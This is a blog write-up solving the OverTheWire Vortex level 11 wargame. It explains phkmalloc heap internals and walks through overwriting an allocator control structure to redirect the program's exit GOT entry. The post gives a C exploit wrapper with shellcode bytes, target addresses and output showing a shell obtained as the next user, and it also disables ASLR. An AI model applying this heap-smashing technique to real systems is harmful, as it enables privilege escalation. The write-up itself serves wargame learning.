Overthewire Vortex Level11, BSD Heap Smashing

It was a while ago, when I posted my last OTW solution. The reason is simple, I’ve ordered A Guide to Kernel Exploitation: Attacking the Core, a great book from twiz and sgrakkyu. You can also check the book’s website. Funny fact is that this level has a slight binding to the book: Smashing phkmalloced heap is similar to exploiting the slab allocator in kernel. If you are interested, you can check this great article about slab allocator exploitation (among other kernel exploitation methods) from the same authors as above.

Let’s go back to our current topic: BSD heap smashing. I’ve checked out all the listed articles, but finally I’ve read this one. (The hosting site has a lot of interesting stuff also.)

You must read the paper to understand how phkmalloc works. I found another interesting presentation, which covers memory allocator security.

Just a slight overview: We only consider “small” sized (smaller than page-size [4096 byte]) memory allocations. Two categories of memory chunks should be distinguished here: tiny chunks and medium-sized chunks. Phkmalloc groups these memory chunks into pages that contain several of them. All chunks stored in a given page have the same size (rounded up to the nth power of 2). The difference between the tiny and medium chunks is, that the controlling/managing structure of the given page is in the page (tiny), or off the page (medium).

Lets examine the binary! I’ve used my home machine, so to create the same environment as on vortexlabs server, I’ve disabled ASLR:

echo 0 > /proc/sys/kernel/randomize_va_space 

After that, I’ve used gdb to check the addresses of the allocations:

malloc 0x800  eax   0x804d000
malloc 0x10   eax   0x804e030
malloc 0x800  eax   0x804d800
malloc 0x10   eax   0x804e040

So what we can see here:

  • 1, page 0x804d000 is allocated for 2048 (0x800) byte sized chunks: 2 chunks per page
  • 2, page 0x804e000 is allocated for 16 (0x10) byte sized chunks: 253 chunks per page
  • 3, the first 0x10 sized chunk’s address starts with a 0x30 offset from the beginning of the page: this is because 0x10 pages are considered tiny, and the first 0x30 bytes are the controlling structure
  • 4, the pages are adjacent

With the first strcpy we can write into the page which holds the 0x10 sized memory chunks, starting with the controlling structure. Because there will be another 0x10 sized allocation, the idea is to overwrite the controlling structure, and so control the address of the next allocated memory chunk, which will turn into an arbitrary memory write with the last strncpy.

This is the controlling structure:

struct pginfo {
    struct pginfo       *next;  /* next on the free list */
    void                *page;  /* Pointer to the page */
    u_short             size;   /* size of this page's chunks */
    u_short             shift;  /* How far to shift for this size chunks */
    u_short             free;   /* How many free chunks */
    u_short             total;  /* How many chunk */
    u_int               bits[1]; /* Which chunks are free */

The interesting member for us is the page pointer, because the allocations are done relative to this address. It is the second member in the struct, so we only trash the “next” pointer when we overrun the buffer, which will not harm the next allocation. Because the next allocated address would be (page_ptr_address+0x40), we should take care of this offset when overwriting this pointer.

With objdump, I’ve determined the address we want to overwrite in the got/plt table, like in the in the solution of Level8:

08048614 <exit@plt>:
 8048614:       ff 25 c8 b1 04 08       jmp    *0x804b1c8
 804861a:       68 70 00 00 00          push   $0x70
 804861f:       e9 00 ff ff ff          jmp    8048524 <_init+0x18>

The last thing left to do to is creating the wrapper, which sets up the execution environment (arguments, and environment variables), for the binary. I think it is pretty straightforward:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char* argv[]) {
    char* sh = 
    "\x90\x90\x90[...]\x90\x90\x90" "\xeb\x2b\x5e\x31\xc0\xb0\x46"
    "\x31\xdb\x66\xbb"  "\x03\x02"  
    "\x31\xc9\x66\xb9"  "\x03\x02"

	char parm1[0x800+8+1];
	char parm2[4+1];

	unsigned int got_exit_addr = 0x0804b1c8;
	unsigned int got_overwrite = got_exit_addr-0x40;

	unsigned int shell_addr = 0xbf7fff01;

	memset(parm1, 'A', 0x800+8);
	parm1[0x800+4] = ((got_overwrite       ) & 0xFF);
	parm1[0x800+5] = ((got_overwrite >>  8 ) & 0xFF);
	parm1[0x800+6] = ((got_overwrite >> 16 ) & 0xFF);
	parm1[0x800+7] = ((got_overwrite >> 24 ) & 0xFF);
	parm1[0x800+8] = 0;

	parm2[0] = ((shell_addr       ) & 0xFF);
	parm2[1] = ((shell_addr >>  8 ) & 0xFF);
	parm2[2] = ((shell_addr >> 16 ) & 0xFF);
	parm2[3] = ((shell_addr >> 24 ) & 0xFF);
	parm2[4] = 0;

	char* arg[] = {"ARG0", parm1, parm2, NULL};
	char* env[] = {sh, NULL};



The result:

vortex11@games /tmp $ gcc w3.c -o w3
vortex11@games /tmp $ ./w3
sh-3.2$ id
uid=515(vortex12) gid=514(vortex11) groups=514(vortex11)
sh-3.2$ cat /etc/vortex_pass/vortex12
This entry was posted in Wargame and tagged , , . Bookmark the permalink.

One Response to Overthewire Vortex Level11, BSD Heap Smashing

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s